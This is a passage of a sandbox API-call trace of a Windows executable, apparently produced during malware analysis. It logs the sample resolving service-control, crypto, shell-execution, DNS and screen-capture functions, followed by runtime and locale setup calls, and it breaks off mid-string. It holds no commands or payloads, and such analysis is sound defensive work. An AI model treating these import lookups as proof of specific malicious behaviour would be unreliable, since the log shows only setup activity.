(hModule=0x77710000, lpProcName="CryptReleaseContext") returned 0x7771e124 [0031.991] GetProcAddress (hModule=0x77710000, lpProcName="OpenServiceW") returned 0x7771ca4c [0031.991] GetProcAddress (hModule=0x77710000, lpProcName="OpenSCManagerW") returned 0x7771ca64 [0031.991] GetProcAddress (hModule=0x77710000, lpProcName="CryptAcquireContextW") returned 0x7771df14 [0031.991] GetProcAddress (hModule=0x77710000, lpProcName="CryptGetHashParam") returned 0x7771df7e [0031.991] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x759d0000 [0033.690] GetProcAddress (hModule=0x759d0000, lpProcName="SHGetPathFromIDListW") returned 0x75a617bf [0033.690] GetProcAddress (hModule=0x759d0000, lpProcName="SHGetSpecialFolderLocation") returned 0x75a5e141 [0033.690] GetProcAddress (hModule=0x759d0000, lpProcName="ShellExecuteA") returned 0x75c17078 [0033.690] GetProcAddress (hModule=0x759d0000, lpProcName="ShellExecuteExW") returned 0x759f1e46 [0033.691] GetProcAddress (hModule=0x759d0000, lpProcName="CommandLineToArgvW") returned 0x759e9ee8 [0033.691] GetProcAddress (hModule=0x759d0000, lpProcName="SHGetFolderPathA") returned 0x75ae7804 [0033.691] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x76620000 [0033.691] GetProcAddress (hModule=0x76620000, lpProcName="CoInitialize") returned 0x7663b636 [0033.691] GetProcAddress (hModule=0x76620000, lpProcName="CoInitializeSecurity") returned 0x76647259 [0033.691] GetProcAddress (hModule=0x76620000, lpProcName="CoUninitialize") returned 0x766686d3 [0033.691] GetProcAddress (hModule=0x76620000, lpProcName="CoCreateInstance") returned 0x76669d0b [0033.691] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x76e40000 [0033.691] GetProcAddress (hModule=0x76e40000, lpProcName=0x6) returned 0x76e43e59 [0033.691] GetProcAddress (hModule=0x76e40000, lpProcName=0x8) returned 0x76e43ed5 [0033.691] GetProcAddress (hModule=0x76e40000, lpProcName=0x9) returned 0x76e43eae [0033.691] GetProcAddress (hModule=0x76e40000, lpProcName=0xc8) returned 0x76e43f21 [0033.692] GetProcAddress (hModule=0x76e40000, lpProcName=0xca) returned 0x76e4fd6b [0033.692] GetProcAddress (hModule=0x76e40000, lpProcName=0xc9) returned 0x76e44af8 [0033.692] GetProcAddress (hModule=0x76e40000, lpProcName=0xc) returned 0x76e45dee [0033.692] GetProcAddress (hModule=0x76e40000, lpProcName=0x2) returned 0x76e44642 [0033.692] LoadLibraryA (lpLibFileName="IPHLPAPI.DLL") returned 0x75600000 [0033.891] GetProcAddress (hModule=0x75600000, lpProcName="GetAdaptersInfo") returned 0x75609263 [0033.891] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x77230000 [0034.068] GetProcAddress (hModule=0x77230000, lpProcName=0xc) returned 0x7723b131 [0034.068] GetProcAddress (hModule=0x77230000, lpProcName=0xb) returned 0x7723311b [0034.068] GetProcAddress (hModule=0x77230000, lpProcName=0x34) returned 0x77247673 [0034.069] LoadLibraryA (lpLibFileName="DNSAPI.dll") returned 0x755a0000 [0034.212] GetProcAddress (hModule=0x755a0000, lpProcName="DnsFree") returned 0x755a436b [0034.212] GetProcAddress (hModule=0x755a0000, lpProcName="DnsQuery_W") returned 0x755b572c [0034.212] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x77550000 [0034.212] GetProcAddress (hModule=0x77550000, lpProcName="CryptStringToBinaryA") returned 0x77585d77 [0034.212] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x770a0000 [0034.212] GetProcAddress (hModule=0x770a0000, lpProcName="DeleteObject") returned 0x770b5689 [0034.212] GetProcAddress (hModule=0x770a0000, lpProcName="GetObjectA") returned 0x770b85d4 [0034.212] GetProcAddress (hModule=0x770a0000, lpProcName="SelectObject") returned 0x770b4f70 [0034.212] GetProcAddress (hModule=0x770a0000, lpProcName="GetDeviceCaps") returned 0x770b4de0 [0034.213] GetProcAddress (hModule=0x770a0000, lpProcName="GetBitmapBits") returned 0x770bc155 [0034.213] GetProcAddress (hModule=0x770a0000, lpProcName="BitBlt") returned 0x770b5ea6 [0034.213] GetProcAddress (hModule=0x770a0000, lpProcName="DeleteDC") returned 0x770b58b3 [0034.213] GetProcAddress (hModule=0x770a0000, lpProcName="CreateDCA") returned 0x770b7bcc [0034.213] GetProcAddress (hModule=0x770a0000, lpProcName="CreateCompatibleDC") returned 0x770b54f4 [0034.213] GetProcAddress (hModule=0x770a0000, lpProcName="CreateCompatibleBitmap") returned 0x770b5f49 [0034.213] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x754e0000 [0034.383] GetProcAddress (hModule=0x754e0000, lpProcName="atexit") returned 0x754fc544 [0034.384] atexit (param_1=0x830920) returned 0 [0034.395] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fbc8 | out: lpSystemTimeAsFileTime=0x18fbc8*(dwLowDateTime=0x1bcbcea0, dwHighDateTime=0x1d643ed)) [0034.395] GetCurrentThreadId () returned 0x738 [0034.395] GetCurrentProcessId () returned 0x694 [0034.395] QueryPerformanceCounter (in: lpPerformanceCount=0x18fbc0 | out: lpPerformanceCount=0x18fbc0*=15524900304) returned 1 [0034.464] GetStartupInfoW (in: lpStartupInfo=0x18fb58 | out: lpStartupInfo=0x18fb58*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x76d43519, hStdOutput=0x77c5fd35, hStdError=0x77cc7daf)) [0034.505] GetProcessHeap () returned 0x730000 [0034.644] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0034.644] GetProcAddress (hModule=0x76d30000, lpProcName="FlsAlloc") returned 0x76d44f2b [0034.644] GetProcAddress (hModule=0x76d30000, lpProcName="FlsFree") returned 0x76d4359f [0034.644] GetProcAddress (hModule=0x76d30000, lpProcName="FlsGetValue") returned 0x76d41252 [0034.644] GetProcAddress (hModule=0x76d30000, lpProcName="FlsSetValue") returned 0x76d44208 [0034.644] GetProcAddress (hModule=0x76d30000, lpProcName="InitializeCriticalSectionEx") returned 0x76d44d28 [0034.644] GetProcAddress (hModule=0x76d30000, lpProcName="CreateEventExW") returned 0x76dc410b [0034.645] GetProcAddress (hModule=0x76d30000, lpProcName="CreateSemaphoreExW") returned 0x76dc4195 [0034.645] GetProcAddress (hModule=0x76d30000, lpProcName="SetThreadStackGuarantee") returned 0x76d4d31f [0034.645] GetProcAddress (hModule=0x76d30000, lpProcName="CreateThreadpoolTimer") returned 0x76d5ee7e [0034.645] GetProcAddress (hModule=0x76d30000, lpProcName="SetThreadpoolTimer") returned 0x77c8441c [0034.645] GetProcAddress (hModule=0x76d30000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x77cac50e [0034.645] GetProcAddress (hModule=0x76d30000, lpProcName="CloseThreadpoolTimer") returned 0x77cac381 [0034.645] GetProcAddress (hModule=0x76d30000, lpProcName="CreateThreadpoolWait") returned 0x76d5f088 [0034.645] GetProcAddress (hModule=0x76d30000, lpProcName="SetThreadpoolWait") returned 0x77c905d7 [0034.645] GetProcAddress (hModule=0x76d30000, lpProcName="CloseThreadpoolWait") returned 0x77caca24 [0034.645] GetProcAddress (hModule=0x76d30000, lpProcName="FlushProcessWriteBuffers") returned 0x77c60b8c [0034.645] GetProcAddress (hModule=0x76d30000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x77d1fde8 [0034.645] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcessorNumber") returned 0x77cb1e1d [0034.646] GetProcAddress (hModule=0x76d30000, lpProcName="GetLogicalProcessorInformation") returned 0x76dc4761 [0034.646] GetProcAddress (hModule=0x76d30000, lpProcName="CreateSymbolicLinkW") returned 0x76dbcd11 [0034.646] GetProcAddress (hModule=0x76d30000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0034.646] GetProcAddress (hModule=0x76d30000, lpProcName="EnumSystemLocalesEx") returned 0x76dc424f [0034.646] GetProcAddress (hModule=0x76d30000, lpProcName="CompareStringEx") returned 0x76dc46b1 [0034.646] GetProcAddress (hModule=0x76d30000, lpProcName="GetDateFormatEx") returned 0x76dd6676 [0034.646] GetProcAddress (hModule=0x76d30000, lpProcName="GetLocaleInfoEx") returned 0x76dc4751 [0034.646] GetProcAddress (hModule=0x76d30000, lpProcName="GetTimeFormatEx") returned 0x76dd65f1 [0034.646] GetProcAddress (hModule=0x76d30000, lpProcName="GetUserDefaultLocaleName") returned 0x76dc47c1 [0034.646] GetProcAddress (hModule=0x76d30000, lpProcName="IsValidLocaleName") returned 0x76dc47e1 [0034.646] GetProcAddress (hModule=0x76d30000, lpProcName="LCMapStringEx") returned 0x76dc47f1 [0034.646] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentPackageId") returned 0x0 [0034.647] GetProcAddress (hModule=0x76d30000, lpProcName="GetTickCount64") returned 0x76d5eee0 [0034.647] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0034.647] GetProcAddress (hModule=0x76d30000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0034.647] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x3bc) returned 0x751490 [0034.647] GetCurrentThreadId () returned 0x738 [0034.652] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x18) returned 0x747868 [0034.653] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x800) returned 0x751858 [0034.729] GetStartupInfoW (in: lpStartupInfo=0x18fb28 | out: lpStartupInfo=0x18fb28*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x425128, hStdOutput=0x8746a16e, hStdError=0x30)) [0034.729] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0034.729] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0034.729] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0034.729] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe\" " [0034.729] GetEnvironmentStringsW () returned 0x752060* [0034.729] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xaca) returned 0x752b38 [0034.737] FreeEnvironmentStringsW (penv=0x752060) returned 1 [0034.743] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x511130, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\host1506_2020-06-15_14-07.exe")) returned 0x43 [0034.743] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x90) returned 0x753610 [0034.743] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x98) returned 0x7536a8 [0034.743] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x3e) returned 0x745688 [0034.743] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x6c) returned 0x753748 [0034.743] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x6e) returned 0x7537c0 [0034.743] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x78) returned 0x743730 [0034.743] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x62) returned 0x753838 [0034.743] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x2e) returned 0x74d278 [0034.743] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x48) returned 0x748fb0 [0034.743] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x28) returned 0x74cc20 [0034.743] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x1a) returned 0x7510c8 [0034.743] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x4a) returned 0x7538a8 [0034.743] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x72) returned 0x7437b0 [0034.743] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x30) returned 0x74d2b0 [0034.743] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x2e) returned 0x74d2e8 [0034.743] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x1c) returned 0x7510f0 [0034.743] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0xd2) returned 0x753900 [0034.743] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x7c) returned 0x7539e0 [0034.743] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x36) returned 0x753a68 [0034.743] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x3a) returned 0x7456d0 [0034.743] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x90) returned 0x753aa8 [0034.743] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x24) returned 0x74cc50 [0034.743] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x30) returned 0x74d320 [0034.743] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x36) returned 0x753b40 [0034.744] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x48) returned 0x749000 [0034.744] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x52) returned 0x753b80 [0034.744] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x3c) returned 0x745718 [0034.744] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x82) returned 0x753be0 [0034.744] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x2e) returned 0x74d358 [0034.744] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x1e) returned 0x751118 [0034.744] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x2c) returned 0x74d390 [0034.744] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x54) returned 0x753c70 [0034.744] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x52) returned 0x753cd0 [0034.744] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x2a) returned 0x74d3c8 [0034.744] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x3c) returned 0x745760 [0034.744] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x54) returned 0x753d30 [0034.744] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x24) returned 0x74cc80 [0034.744] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x30) returned 0x74d400 [0034.744] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x8c) returned 0x753d90 [0034.744] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x752b38 | out: hHeap=0x730000) returned 1 [0034.813] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x800) returned 0x752060 [0034.819] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x80) returned 0x753e28 [0034.872] GetLastError () returned 0x0 [0034.872] SetLastError (dwErrCode=0x0) [0034.872] GetLastError () returned 0x0 [0034.872] SetLastError (dwErrCode=0x0) [0034.872] GetLastError () returned 0x0 [0034.872] SetLastError (dwErrCode=0x0) [0034.872] GetACP () returned 0x4e4 [0034.872] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x220) returned 0x752868 [0034.872] GetLastError () returned 0x0 [0034.872] SetLastError (dwErrCode=0x0) [0034.872] IsValidCodePage (CodePage=0x4e4) returned 1 [0034.872] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fb1c | out: lpCPInfo=0x18fb1c) returned 1 [0034.878] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f5e4 | out: lpCPInfo=0x18f5e4) returned 1 [0034.883] GetLastError () returned 0x0 [0034.883] SetLastError (dwErrCode=0x0) [0034.883] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f9f8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0034.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f9f8, cbMultiByte=256, lpWideCharStr=0x18f368, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0034.890] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f5f8 | out: lpCharType=0x18f5f8) returned 1 [0034.890] GetLastError () returned 0x0 [0034.890] SetLastError (dwErrCode=0x0) [0034.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f9f8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0034.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f9f8, cbMultiByte=256, lpWideCharStr=0x18f338, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0034.895] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0034.895] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f128, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0034.895] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18f8f8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x1e F\x874û\x18", lpUsedDefaultChar=0x0) returned 256 [0034.895] GetLastError () returned 0x0 [0034.895] SetLastError (dwErrCode=0x0) [0034.895] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f9f8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0034.895] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f9f8, cbMultiByte=256, lpWideCharStr=0x18f348, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0034.895] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0034.895] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f138, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ 